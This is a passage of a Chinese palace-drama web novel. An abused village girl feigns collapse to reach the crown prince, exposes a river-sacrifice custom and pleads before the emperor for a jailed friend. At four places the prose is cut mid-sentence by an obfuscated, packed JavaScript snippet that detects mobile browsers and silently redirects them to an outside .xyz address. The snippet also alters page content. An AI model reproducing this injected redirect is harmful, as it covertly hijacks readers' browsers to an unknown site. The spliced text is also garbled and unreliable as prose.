太子的目光略过严阵以待的众人,落在地上衣衫褴褛的幼女上。 幼女蜷缩于地,面部朝下,发丝散乱,看不见容貌。身形不过髫年,却瘦的如一条被遗弃的狸奴。她的指缝间塞满了泥垢,露出的手臂布满红色刮痕,仿佛晕倒之前经历过漫长的跋涉。 殷红的的血迹自女孩双足浸出,刺中了周重晏的心。他吩咐羽林卫将女孩翻过来的刹那,眉头拧的更紧。 虽说满脸污泥,太子还是认出这正是今晨于长街所见的女孩! 周重晏上前两步,“可还活着?”一个羽林卫蹲下身,及其谨慎的探了探她的鼻息。“回殿下,尚有一息。” 御道之上,天子脚下,蓦然出现这样一个身世不明之人,羽林卫怎么也放松不了警惕。若是这样一个狼狈的丫头被世人乃至敌国知晓,只怕会被视为陛下统治失德的话柄! “殿下,您看……如何处置这女孩?”羽林监犹豫问道。 “着人带回东宫,传太医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533587|186444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给她瞧瞧。待父皇回来,立刻禀报。”太子沉默片刻,用决断的语气道。 “殿下,这……”羽林监下意识想要规劝,只是太子年纪虽小,平日里待人待物也宽容大度,可他一旦下定决心要做什么事,便是十头马也拉不回来。 周重晏的眼眸深不见底,他平视着单膝跪地的羽林监,“怎么,难不成你想看到她不明不白的死了,好让天下人议论父皇吗?” “微臣不敢!”羽林监忙磕头谢罪,“太子殿下仁厚,是微臣思虑不全!” 羽林卫不再有任何异议,两个士兵小心的把女孩抬上一辆空马车。周重晏望向皇城方向,眼神忽明忽暗。 东宫偏殿檐下,宫人们进进出出,带出满屋药香。 软沙罗的帐幔下,一个脸色苍白的女孩深陷在绫罗绸缎中。她已换了干净衣裳,伤口也做了包扎。 床边的太医搭在细腕上的手,退后两步躬身道:“启禀殿下,此女脉相虚浮如丝,乃五劳七伤至极。胃脘空虚日久,难以运化五谷。旧伤叠新伤,伤处已现红肿溃烂之象。” 他的余光瞥见榻上蜷缩的身影,烛光照亮那瘦骨嶙峋的轮廓。 “微臣观其形骸,肋骨根根可数,显是出生时便遭饥馑苛待。而今元气大伤,急需温养,若再耽搁半月……” 太医突然噤声,太子的脸色已沉的滴的出水来。 “好得很。”他轻笑一声,“想不到这太平天下,竟也有人被活生生磋磨成这个样子!” “那这宸朝的万家灯火,到底还有多少苦命之人?!” 周重晏几乎要把牙齿咬碎,这时他才知道,皇后葬礼上怎么会有那么多人碾碎了尊严,只为了能换来片刻生存。 “用最好的药,务必要让她活下来。” 太医连连称是,脚下生烟般下去开药了。 脚步声响起,春喜进来禀报:“陛下归宫了。” 周重晏脸上浮现一抹冷笑,“孤这就去向父皇复命,一道禀明情况。”他转身看向侍立在侧的宫人,“好生照顾她,孤不希望她出半点差池。” 交代好一切,周重晏便随春喜去更衣,他转身的瞬间,错过了屏风后女孩眼睫的一丝颤抖。 7. 谈心 卫余一开始本不想装晕的。 她自茫茫人群中狂奔,遇上人就问下一处粥棚在何处,行人只当她是一个饿昏了头的小叫花子。 只有卫余知道,沿着路设的粥棚,定能找到皇陵,而皇陵周围必有御道!如若可以混进去,她便可以面见太子。 东宫太子年方八岁,在民间便和其母静庄皇后流传着“活菩萨”之名。这是侯玉之前与她说的,照侯玉的意思,若是这位太子做了皇帝,宸朝流离失所的人得少大半。 卫余将信将疑,现如今寻梅落狱,她只得赌一把。 赌那太子是否是真的仁厚储君。 赌赢了,像她这样的人跪求太子,太子就是不在乎世人如何看待朝廷,但凡还有一丝良心,便也不会视而不管。 若是赌输了,大不了再搭上自己一条命! 卫余跌跌撞撞的摸索到东宫御道后,脚上的伤口已是溃烂脓肿,一股股脓水混着鲜血打湿了草鞋。她掐了一把瘦削的大腿,试图将眼前的黑雾驱散。 禁军重重把手此处,卫余仗着自己身量娇小,躲在一旁的灌木丛中。日头西沉,她死死盯着那条宽的能并排跑十六辆马车的道路。 远处传来兵器碰撞的清脆声响,原本如石雕般的禁军动了动,开始低声交谈。 来了!卫余的心被猛地拽了起来。 一队新的禁军迈着整齐划一的步伐从天光处走来。原本值守的那对人微微放松了身体,显然期待着结束这漫长而枯燥的勤务。 两只队伍在卫余眼前交接,禁军的眼神本能的被吸引到对方同僚的脸上。 就是现在!她和寻梅的生死,在此一搏! 她如同一只受惊的野猫,猛地从灌木丛窜出,禁军和同僚短暂的寒暄声将这细微的声音掩盖。卫余不敢直立奔跑,她几乎是贴着地皮,利用他们的视角盲区,快速的、无声的跑过去。 短短几步的距离,却如同一生般漫长。 交接似乎还没有结束,没有人发出呵斥,没有长枪直指胸口。 卫余躲在阴影处,看见一队禁军朝着长安城方向走去,另一队则分散开,很快站在了新的岗位上。直到这时,她才松开紧握的双拳,小口小口的吸着气。她成功混进来了! 整个世界只剩下卫余快要炸掉的心跳声,她一刻不敢停留,踮着脚小心的往后退去,直到再也看不见禁军的身影。 “锵——锵——” 车轮的声音吓了卫余一激灵。那沉重的包铁车轮碾压在平坦的御道上,由远及近,伴随着随从的脚步声,如同一张无形的墙壁向她压来。 是太子仪仗!那个念头如同闪电般劈开了卫余疲惫的身体。她来这里本是为了见太子的,可真到了这一步,却不由自主的生出恐惧来。 卫介说过,多年前他去长安时,亲眼看见有人冲撞了贵人,便被定了杀头的死罪! 求生的本能和模糊听来的流言蜚语,让她来不及思考,直直的跪下去,用手掌拼命撑起身体,作出一个最标准的跪姿。 可她太累、太饿了。连日水米未进,加上今日巨大的惊吓,抽干了她最后一丝力气。那双细弱的胳膊支撑不了身体的重量,忽的一软,卫余整个人摔砸在冰冷的御道上。 完了,冲撞太子车架,死罪! 这个认知给卫余带来的绝望像一只无形之手扼住她的喉咙。电光火石之间,如同雷鸣般的车轮声、脚步声逼近。在这些彻底淹没她之前,卫余突然有了主意。 既然不能恭敬的跪迎,那……就彻底不要动! 一个饿极晕倒的潦草幼女,总比一个惊慌失措冲撞太子的无知女童看起来更可怜,更博人同情一点。 没有思考的时间,卫余尽可能的把全身肌肉放松,让其像极了失去意识的软绵,呼吸也变得及其微弱而缓慢。 这是一场赌上一切的冒险,可也是她所能想到的最后一丝方法。所幸,她赌赢了。 东宫深处,偏殿的暖阁里,熏笼吐出淡淡的香气。卫余抬起裹着白纱布的手,终于可以活动一下僵硬的筋骨。床上铺着细软的棉褥子,上方又覆了一层玉色绸缎。她陷在这处柔软中,却毫无睡意。 寻梅在狱中会怎么样?她能不能吃上一顿饱饭?能不能有一件薄被以抵御初秋的寒冷?会不会有人故意寻事?会不会……自己还没有和太子求情,便被定了重罪?! 卫余从温暖的被窝中猛地起身,照顾她的宫人只剩两个,正坐在帐幔外的小凳上打着瞌睡。 她侧着耳听,更漏声中似乎夹杂着寻梅的哭泣声,可她现在什么也做不了。卫余数着更漏的水声,一夜无眠。 东方既白,太子的仪仗终于回了东宫,周重晏眼下乌黑一片,显然是昨夜与皇帝交谈甚晚。小太监迎上去,告诉他卫余醒着的消息。周重晏脸上忽然有了些神色,也顾不得头晕脑胀,径直走向偏殿。 锦帐半垂,卫余蜷缩在锦被里,只露出一张白的透明小脸,平日明亮的眼睛也蒙上了一层薄雾,却还是努力的睁着。 殿门“吱呀——”一声被推开,凉风趁隙而入,随即又被迅速掩上。卫余迷迷糊糊的眼睛瞬间聚焦,“腾”的一下便想下床行礼。 “你有伤在身,不必多礼。”周重晏快步走到榻前,卫余僵住不动。“草民见过殿下……”她的声音沙哑干涩,带着一丝微不可见的紧张。 周重晏垂眸仔细打量了卫余一眼,忽道:“孤见过你。”卫余心里猛地一沉,心道果然是皇后殡仪时的那一瞥。 她吓得不敢多言,生怕下一秒太子便会质问她为何替哭。周重晏坐在榻边凳上,“昨日,你为何要哭?” 卫余一愣,垂头答到:“皇后娘娘薨逝,草民想到娘娘往日的仁德,心中悲痛。” “说谎,你的口音可不像长安人。”太子语气严肃了一瞬,“孤已经查到了,城南的刘员外雇你们代替哭灵。” 卫余屏住呼吸。太子还是发现了!她的后脊刹那间冒出层层冷汗,嘴唇变得更加苍白。 紧紧拽着锦被的手突然被太子覆住,周重晏的声音软下来,“孤知道有太多人为了活下去不得已而为之,本也不想深究。只是见你哭的情深意切,不明白是为何?” 听见这句话,卫余不敢再有隐瞒,只一股脑倾述而出:“草民虽是几天前刚入长安,与娘娘不曾相识。可皇后娘娘贤名远扬,草民也听得一二,实在倾佩感激。” “只是昨日娘娘殡仪时草民竟看见有一老者,为了多得几文钱不惜头破血流。草民想到若是娘娘还在世,定不会有这样的事情发生。娘娘若在天有灵……看见这样的场景该有多痛心?这才忍不住流泪。” 语罢,卫余伏跪在榻上,“草民自知不敬皇后是大罪,如今草民甘愿受罚,只求皇后娘娘在天之灵能够安息!” 太子良久不语,卫余小心抬眼看去,却见他眼眶竟有湿润之意! “母后向来仁民爱物,甚至在灾年用自己的俸禄开设粥棚,以救济灾民。若她知道还有这么多人活在水深火热之中……”周重晏的声音突然哽咽起来。“也罢,母后如若知晓自己死后还可以让他们能够暂时活下去,只怕也会欣慰的。” 此话一出,卫余便知道替哭这件事算是翻篇了。她观察着太子的脸色,斟酌再三,思考着现在要不要给寻梅求情。 “你是从何处来的?”还未等她开口,周重晏先一步发问。卫余明白是时候了,当即声泪俱下,“草民晋城卫家村人氏。” 周重晏略思索片刻,“卫家村?孤似乎听说那里发了十年来未有的大水灾,死伤惨重。你怎么会…” 卫余闻言,心中泛起一丝波 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533588|186444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澜。洪水当真来了,河水要是漫过来,会不会淹没灶台,淹没房子?卫介他们是不是已经丢了个童女进河里,替他们完成不可能的使命? “朝廷已安排赈灾了,你莫要担心。”太子安慰道,“孤会派人护送你回去。”却不见卫余呼吸一滞,眼里尽是恐惧与慌张! “求您不要送我们回去!”周重晏的衣角被那双包着纱布仍显瘦弱的手拽住,他微微蹙了下眉,却没有发怒。卫余眼中的泪水倒映出他不知所措的影子,“你……怎么了?” 眼前女孩瘦削的肩膀止不住的发颤,“村里人要拿我的好友寻梅祭河,还说若有下次,轮到的便是我!” 太子眼里的柔光瞬间褪得一干二净,“什么?”他语气急促,不自觉站了起来。“你说的可是真的?活人祭祀早就被明令禁止,他们怎么敢?!” 卫余再次俯身痛哭道:“草民不敢欺瞒殿下!他们说天高皇帝远,谁会在意我们?草民实在是被他们逼得没有办法,才和寻梅逃了出来。本想去报官,可那些官爷只怕也是睁一只眼闭一只眼。幸得上天庇佑,才得以误打误撞来到长安,若是太子殿下能为草民做主,草民就算做牛做马也难以回报!” 暖阁里静的可怕,只有听见更漏嘀嗒作响。太子的胸膛剧烈起伏,深吸几口气勉强平静下来。他替卫余擦了擦眼泪,声线却带着掩饰不住的寒冷。 “朗朗乾坤之下,竟还有如此骇人听闻、戕害人命的暴行!孤倒要看看,是什么妖魔鬼怪,竟敢如此肆意妄为!” 周重晏看向微微颤抖的卫余时,语气稍微和缓,“你且放心,孤即刻禀告父皇,让他们见到王法的雷霆!河童娶妻这等惨事,不会再发生了。” 卫余当即就要下榻,跪倒在地。周重晏却快了一步,温和的虚扶一下,阻止她下跪的趋势。“你方才说是和好友一起逃的,那现在她在何处?” 卫余还未开口,边听见太子道:“孤昨日听说有几个比你大些的小孩,因偷粮冒犯母后,已被捉拿押入大牢了。” 心跳几乎停滞,卫余死死咬着嘴唇,太子已经知道这件事,自己又该怎么为寻梅辩解? “殿下……殿下恕罪,他们都是在外面讨饭吃的穷孩子。如若不是饿得前胸贴后背,定不会贸然冲撞皇后的!” 周重晏脸色不变,“可他们在母后葬礼上行窃,实在是大不敬,大理寺已决定严惩了。” 卫余脚下一软,她的脑中飞速转动,企图想出办法。她扬起挂着泪痕的脸,眼里坚决。“草民自入长安那刻起,皇后娘娘贤德之名便长伴耳际。娘娘薨逝,却还能给百姓带来粥棚赈济,是像菩萨一样好的人。可那粥棚边围挤的全是壮年男子,老友妇女若想分得一点便是登天也没有这么难……” “你的意思是朝廷分配不均?”太子问道。“草民不敢多言朝廷用事!只是想起娘娘,她若看见有一群孩子因为快被饿死,而被逼行窃,该有多难过?” 太子深深看了她一眼,“你倒惯会用母后做靶子。” “皇后娘娘贤名远扬,确实让草民感激涕零。只怕世人都知道娘娘宽厚待下,又怎么会苛责几个饿坏了的幼子呢?” 气氛又一次凝固,卫余没有十足的把握,面上强做冷静。 “说得好。”太子突然笑道,“母后若在,必不希望有人因她而死。” 卫余小脸上那对眼睛,顿时溢满了不可置信的希望。 “太子殿下圣明,草民谢殿下救命之恩……”两滴眼泪毫无征兆的落了下来,这么久以来所有的恐惧、委屈以及劫后余生的巨喜,在这一刻冲破了她的堤防。 周重晏叹了口气,“这件事也不是孤说了算的。”卫余的笑僵在了脸上,“你需得亲自向父皇陈情。你突然晕倒在御道上,父皇说过了,待你修养好身体,便入宫面圣。” 8. 入宫面圣(一) 时值秋日,东宫的庭院染上一分舒朗静谧的雅致。秋风吹过,庭中几株高大的银杏树上“簌簌”飘落几片扇形树叶。廊下宫人步履从容,为首正是太子身旁的春喜。 银杏树下,悬挂着一架秋千。卫余坐在光滑的檀木秋千板上,微微摇晃,两只绣鞋偶尔扫过地面的片片落叶。 卫余已在东宫住了五日。皇帝自得了太子进言,便下令恩赐卫余好生养病。她如今起居饮食皆有专人照顾,似乎怕她莫名死了一样。 太子常来看她,每次来了,总带些她见都没见过的小玩意。卫余回想起侯玉说的话,现在也认同了几分,太子当真是心善的。 他甚少在卫余面前摆起高高在上的架子,偶尔看见卫余为了寻梅的事黯然,也会宽慰她道国丧期间官府会暂时延缓一应案件,卫余这才稍稍放心。 他们年龄相仿,太子也没有玩伴,一来二去倒也熟稔起来。 当今天子已过而立之年,膝下只有两个皇子,算上盛宠的林贵妃腹中龙胎,也不过三个子嗣。 太子是皇后唯一所出,他的舅父正是当朝骁骑将军。他自两岁起便被立为储君,行辈为“重”,陛下为他取了个“晏”字,故名作“重晏”二字。 晏?卫余不识得这字,也不好意思问,只能囫囵记下。往日黑亮灵动的眼睛,此时望向了头顶摇曳的银杏枝。她心中细细解读着这是什么意思。 周重晏步至庭院时,看见的便是她摇晃着秋千发呆的样子。他脚步微顿,随即放缓了步子,无声的走近。 脚下树叶的响声暴露了他,卫余猛地一颤,茫然又惊慌的回过头,看见是太子,下意识就要从秋千上滑下来行礼。 “坐着便好。”周重晏微微抬手,止住了她的动作。眼前女孩已和那日截然不同,她褪去了来时破旧不堪的粗麻衣,换上一件月白襦裙,裙裾用银丝绣着几朵细密云纹。杂乱如蓬草般的头发规规矩矩的梳了双角髻,缀着零星珍珠,衬得她的小脸更添几分灵动之气。 “看来你的病已大好了。”他开口,声音比刚才更沉缓些,带着这个年纪少见的庄重凝神,卫余手脚上的纱布早已拆了。“方才宫里来了旨意,父皇,”周重晏微微停顿,用了一个更庄严的词,“陛下听闻你好了,想见一见你。” 卫余茫然的抬起头,她从来没有听说过这个圣上的脾性,不知在他的面前如何言语才能让他生出一丝怜惜。可若是想救寻梅,也只有走上这么一遭。 周重晏看出她的无措,语气更加轻柔,“今日末时,孤带你请诏令入宫,去面圣。”他看见女孩的手拽紧了秋千绳。 他立刻接下去,“莫怕,孤会陪你同去。”卫余道了谢,心中还是不安。“你只需记得,大殿上的陛下,便是能应允你,为你给卫家村所有女子做主的君王。他问你什么,你便照实说,就像那日你与孤说的一样。好不好?” 太子并没有说什么“天大的恩赐”、“莫要失仪”之类加重她负担的话。这到底是能让任何平民战战兢兢的大事,卫余虽也害怕,但太子不容置疑的安抚与鼓励,为救寻梅逃出生天的急切,迫使她点了点头。 天色大亮,卫余泡在木桶里,任由两个面善的嬷嬷围着她,用洁净的面巾擦拭过她的全身,连带着多日的风尘仆仆一并擦去。 待她换上一件新赶制出的藕色衣裙,踏上那双崭新的、鞋头镶着银色绒球的绣鞋,头发被重新束起,几朵精巧的绒花应和着发带簪在略显枯黄的发丝上。 东宫正门缓缓开启,一辆四面敞篷,上盖青顶的马车已候在门外,两侧随行的东宫侍卫肃然而立。 周重晏率先步出宫门,他行至车边,并未立刻登车,而是回首,向着宫门内微微骇首。卫余深吸一口气,出了层薄汗的手心拽紧了衣裙。那高大的马车和威严的侍卫,一刻不停的提醒她,此刻的不同寻常。她只觉得心跳如擂鼓,差点撞破胸膛。 “上车吧。”太子的声音不高,却清晰的传入她的耳中,带着一种安定人心的力量。春喜公公将她稳稳一托,卫余便登上了那所对她而言过于高的车辕。 车内陈设简洁,车板上铺着一层厚厚的锦垫,角落中放着一盏香炉,正袅袅吐出安神静心、清幽甘甜的沉香之气。卫余规矩坐在马车一角,太子在她对面的软垫上坐下。他并未多言,只对车队微微示意,车夫轻叱一声,马车便平稳的启动。 卫余起初僵坐着,周重晏始终静默,眼神落在窗外。她随着太子的目光看去,飞快瞥见快速后退的景象。先是东宫的巷道,继而穿过一道有一道门洞,宫墙越来越高,越来越森严。 巡逻的禁军队伍看见太子车架,纷纷低头避让。偶有身着锦袍,腰挂鱼带的官员低头敛目,静立一旁,卫余却能感觉到一道道带着审视好奇的目光扫过自己。 她蓦然望见皇宫西北处,孑然屹立着一座高耸入云的建筑。其地基拔地而起,如山岳般直刺云霄。楼身通体红木质,楼顶覆盖的琉璃瓦反射着五彩的阳光。城中楼阁异常安静,卫余远远的凝视着,只觉得那座楼阁像是一个亘古的巨人遗世而独立,冷漠的俯视着脚下繁华的宫阙和渺小的人群。 “那里就是宫中的观星楼。”周重晏解释道,“据说是高祖皇帝在位时,为李丞相修建的。” 他口中的李丞相,便是宸朝开国女丞相李长愿。 卫余愣住了,自己听卫秀才讲过这段故事。相传李长愿不过二八年华,便看破红尘,决意出家为尼。怎知她的智谋被高祖皇帝看中,成了还未发迹的高祖皇帝最信任的谋士。后来李长愿打破常理,成为宸朝第一位女官,甚至创立推行了女子可为官的新制。 卫余初听这个故事时,只当是光怪陆离的传说,不曾想李长愿这个人是真实存在的。她收回视线,不停颤抖的睫毛透露了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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卫余抬起眼,目光不再是慌乱地躲闪游移,而是第一次真正地、清晰地落在了对面太子的脸上。她看着他那双不同寻常幼童的沉静眼眸,那里面没有怜悯,没有施舍,只有一种平等的询问和厚重的期待。 “女官”二字在她心头反复回响,不再是一个遥远不可及的妄想,而是沉甸甸的、带着温度与力量的许诺。太子殿下给予她的,不是一丝垂怜,而是一份前程,一个让她能凭借自身站立起来的根基。 若她惶恐畏缩,战战兢兢,如何对得起这份浩荡天恩?如何能成为殿下口中那值得期许的“女官”? 卫家村女童悲惨的命运,汹涌的河水,卫介虚伪狰狞的嘴脸……那让她夜不能寐的一切,此刻也奇迹般褪去。她要去面圣,不是作为一个乞怜的孤女,而是揭露卫家村祭河惨剧的证人! 她的心跳依旧很快,却如同擂响的战鼓,那双自登上马车以来就充满紧张的眼睛里,取而代之的是一种初生牛犊般清冽而坚定的光芒。 9. 入宫面圣(二) 福全公公早在殿外等候多时,他见太子车架来了,快步走至车旁,满脸殷勤道:“陛下宣了陈、贺二位大人觐见,现如今正在殿内商讨事宜呢。” 周重晏道:“是为了新政一事?”福全还未答话,那比东宫更为巍峨辉煌的殿宇内响起一声自带威严肃穆的声音。 “可是晏儿来了?宣他进来。还有那个孩子,也一并带进来吧。” 紧接着,另一个内侍尖细高昂的声音报道:“陛下有旨,宣太子殿下、民女卫氏觐见——!” 沉重的殿门被缓缓推开,发出悠扬而肃穆的“吱呀”声。一条狭长而明亮的光带铺在光可鉴人的地砖上,浓厚的檀香气息扑面而来,殿宇极高穹,空旷的让细微脚步声都产生了回音。 卫余始终跟在周重晏身后两步,引路太监在一道珠帘玉阶前停下,低声向帝王通传。 预想中的宣召声并没有到来。珠帘内隐约传来谈话声,似乎正在商议要事。卫余不敢抬头,只模糊听见一个苍老却中气十足的声音,“变法之弊,关键不在法字,而在于权贵。若新制推行无法铲除障碍,只怕良法也会成为扰民之举。” 卫余呼吸一滞,她原以为面圣便是跪在御阶之下承受天子垂问,不曾想自己竟直接闯入王朝决策议事现场。周重晏也停下了脚步,静立等待,并无半分焦躁。 帘后几人显然也注意到太子引了她入殿,话语一顿,几道目光扫过,却没有被打断的不悦,只带着不易察觉的审视,和属于上位者的淡然沉静。 卫余走到玉阶下指定的位置,按照之前嬷嬷反复叮嘱过、太子又亲自教导的礼仪,掀起崭新的裙摆,屈膝,跪拜。 “民女晋城卫家村卫氏,叩见陛下。陛下万岁万岁万万岁。”她深吸一口气,声音并没有想象中的颤抖,反而清晰入耳。 “起来回话。”一道虽疲惫,却不失威严的声音从上方传来,响彻整个大殿。 卫余谢恩起身,依旧垂着眼,不敢仰视天颜。只瞥见不远处的御案下首,端坐着两位老者。居左那位身着玄色长袍,面容清瘦,长须已然花白,神态露出些许温和,正是方才说话那位。居右者身着绯袍,年纪稍轻些,面色更加红润,眼神锐利似剑。 两位老臣虽坐而论道,却身形挺拔,气度非凡,卫余心中暗道这两位恐非寻常。正思索着,果见太子行礼道:“儿臣见过父皇,二位老师。” 皇帝的声音再次响起:“进来回话。”周重晏微微侧首,见卫余脸上已无惊恐之色,眼神微动。随即率先举步,掀开珠帘,向内走去。卫余不敢迟疑,低着头,紧随其后。 “抬起头来。”皇帝道,卫余这才一点点抬眼,终于看清天子全貌。御座上的人一身墨色常服,并无佩冠,束起的头发已有几缕银色,面容似乎带着些许难以言喻的疲惫。 “你便是从卫家村来的?”那声音听不出喜怒,卫余忙应声答是。“嗯,”皇帝微微颔首,“太子前些日子奏报,民间有官吏借水患之名,行‘河童娶妻’之恶事,戕害民女,可是实情?” 提到‘河童娶妻’那四个字,卫余只觉那夜的恐惧绝望再次袭来,她俯下身,声音哽咽,声情并茂的回溯着那场噩梦。从自己自幼受父亲虐待,到大雨倾盆只能躲进牛圈,再到村民如何定下寻梅与不久后自己的生死……她说的断断续续,时而因哭泣而中断,却不杂乱无章。那质朴的童声回荡在大殿内,显得格外真实刺耳。 直到卫余再也说不下去,伏地轻轻抽泣,殿内再次恢复一片死寂。良久,周重晏拱手道:“父皇,那些村吏以河祭之名,行禽兽之实,示朝廷法度为无物,视百姓姓名如草芥!这样的乡绅胥吏,若不严惩,以儆效尤,则国法何存?” 他的每一个字都掷地有声,尽显一国储君威仪。皇帝原本因疲惫阖着的眼猝然睁开,幽深的眸子里闪过一丝不明情绪。 右侧官员起身上前,眉眼里有些担忧:“太子所言‘河童娶妻’这一陋习,只怕并非卫家村一隅,如今若是连根拔起,怕是……” 皇帝咪起眼眸,转向左侧,“依丞相看,现下如何为之?”卫余见年事已高的丞相恭谨站出,步伐依旧稳健。 “陛下,臣有本启奏,”他略作停顿,待大殿内所以人的目光都看向他时,才继续开口。他的语速不快,每个字仿佛都在舌尖斟酌过,“臣多日前见晋城奏报,晋城治下的晋阳县县令,得知卫家村行邪祟之事,已将涉案人员尽数捉拿,现已押赴牢狱,听候裁断。” 卫余猛地抬头,难以置信的看着那位面色严肃的老臣,又飞快瞄向身前同样惊讶的太子。捉拿了……什么时候?她的脑中白光一线,莫不是她和寻梅逃跑那日夜里?!那些官兵所说的抓人,原来是这个意思。 “晋阳县县令……”皇帝沉吟片刻,“就是你年前荐的那位?” “正是。此人名作元明溪,做事当机立断,爱民如子,臣以为日后必有作为。”丞相解释,“只因近日国丧,臣本不愿惊扰陛下,望陛下饶恕。” 丞相见皇帝并无不满之意,再次躬身道:“陛下仁德,太子殿下亦临机决断,救黎民于水火。然,”他话锋一转,气息沉敛,“老臣斗胆进言,卫家村一事,就如贺中丞所说绝非孤例。东安一带,水患频仍,百姓困苦,易为妖言邪说所惑;地方官吏,或昏聩无能,或欺上瞒下,乃至与地方豪强勾结,借机盘剥、以邪祀之名行虐民之实者,恐不乏其人。若仅惩一处,不究其源,他日恐再生变乱,徒耗国力民财。” 他掀起袍角,跪倒在地,背脊挺得笔直,昂首直面御座。“故而,臣奏请陛下下旨,彻查东安一带。凡是涉及此等邪祟之事,无论官阶高低,一律从严而论。如此,才能决邪祟之根源,正一国之法律,彰显陛下圣德, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533590|186444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 固我朝万年之基业!此乃臣之愚见,伏请陛下圣裁。” 言毕,丞相保持躬身姿势,等待皇帝回应。御座之上,皇帝沉默的听着他的奏呈,并没有立刻开口。他的指节在御座上轻轻敲打着,发出极轻微的声响。 “丞相所言,”不知多久后他才答到,“甚是在理。”那如鹰般的眼睛扫过众人,带着不容置喙的决断,“卫家村,绝非止境。水患本是天灾,见天灾而行人祸,蛊惑民心,戕害幼弱,动摇国本,此乃大恶,绝不可姑息。” 他的目光重新落回丞相身上,带着明确的旨意,“便依丞相所奏,即可令刑部御史台择选精明能干之人,前往东安调查。务必要把这股邪风止断,以儆效尤!” 皇帝话音方落,阶下众人仿佛被无形的线牵引,两位大臣、太子、卫余以及殿内所有宫人,即刻屈膝,面向御座方向,深深跪拜下去。 “臣等遵旨,陛下圣明——”众人的声音汇聚在一起,在空旷的大殿内,形成一种和鸣。 皇帝却显出了更深的疲态,他用指腹揉了揉眉心,目光空茫的落在空中的某一点。静默了片刻,皇帝有些沙哑的声音再次响起,“此事便就此议定,二位爱卿……且退下吧。” 他的目光极快的、模糊的掠过太子方向,没有停留,仿佛只是随意一瞥,随后补充了一句,语气平淡,“晏儿,你也去吧。” 侍立一旁的福全便要上前传旨,周重晏见皇帝面色倦怠,已然准备依礼告退,却听一声极微弱的声音,像是一根细针落地。 “陛下,等等……” 周重晏和二位大臣即将移动的脚步顿住了,福全半张着嘴,惊愕的看向声音来源,就连闭目养神的皇帝,那紧闭的眼睫也微不可察地颤动了一下。 卫余似乎也被自己脱口而出的几个字吓到了,可拉弓没有回头箭,下一次面圣不知何时,若是国丧已过,寻梅便当真死无葬身之地了。 她看着那即将离去的太子背影,看着那高踞御座、仿佛遥不可及却又掌握着生杀予夺大权的皇帝,一股突如其来的勇气,或者说是一种绝望的冲动,逼得她不顾一切地向前踉跄了一小步,竟“扑通”一声跪倒在冰冷的金砖地上。 “草民求陛下开恩,就算是为了皇后娘娘在天之灵,求陛下宽恕偷粮一案!” 整个大殿死寂一片,所有人都被突如其来的变故惊得愣在原地。静庄皇后薨逝,无人不知陛下悲痛,那些日里凡是冒犯皇后的,皆处以极刑。一个微末如尘的乡野幼女,竟敢殿前失仪,为另一个可能涉及不敬之罪的同乡求情?! 周重晏骤然转身,看见卫余跪地求情,带着决绝而孤注一掷的眸子,眉头轻蹙,眼里极为复杂。他如何不知道她救友心切,可今日父皇心情不妙…… 皇帝再次睁眼,却不再装着空荡疲惫,而是骤然冷却下来,被人冒犯后的愠怒。 10. 入宫面圣(三) “你是说静庄皇后出殡那日的偷粮案?”皇帝的指尖,又开始重重的敲打御座,声音让人不寒而栗。 天子将怒。御座之下,侍立的宫人太监,头垂得一个比一个低,二位老臣并太子三人,无一敢交换眼神。 “你是那群饥民的同谋?”皇帝的声音极低,却让殿内众人把心都提到了嗓子眼。周重晏僵在那里,不知道该怎么提醒卫余。这个女孩怎么说也是他带来的,若犯下大事,自己也难辞其咎。 “放肆!”他的唇微动,制止的话已经到了嘴边,身着绯袍的贺中丞眉毛一凌,抢先道怒骂道:“国库粮食乃国之根本,况且是在静庄皇后殡仪上公然偷窃,实乃大不敬之罪,又有何辩?!” 周重晏的唇线紧抿,这位不仅是自己的少傅,更是数日前上奏皇帝严惩不敬罪行的大臣。他如今若是出声维护,便是公然驳斥老师,甚至可能被有心者冠上不孝罪名;可若是置之不理…… 立于身侧的丞相虽眉头紧锁,语气却缓和许多:“陛下,此女虽鲁莽失仪,但观其情状,似有极大冤屈隐情,或可让其陈情一二,以彰陛下下察民情。” “丞相此言差矣!”贺中丞立刻出言打断,言辞激烈,“法度便是法度,岂能因为悲切就打破?!此风绝不可长!” 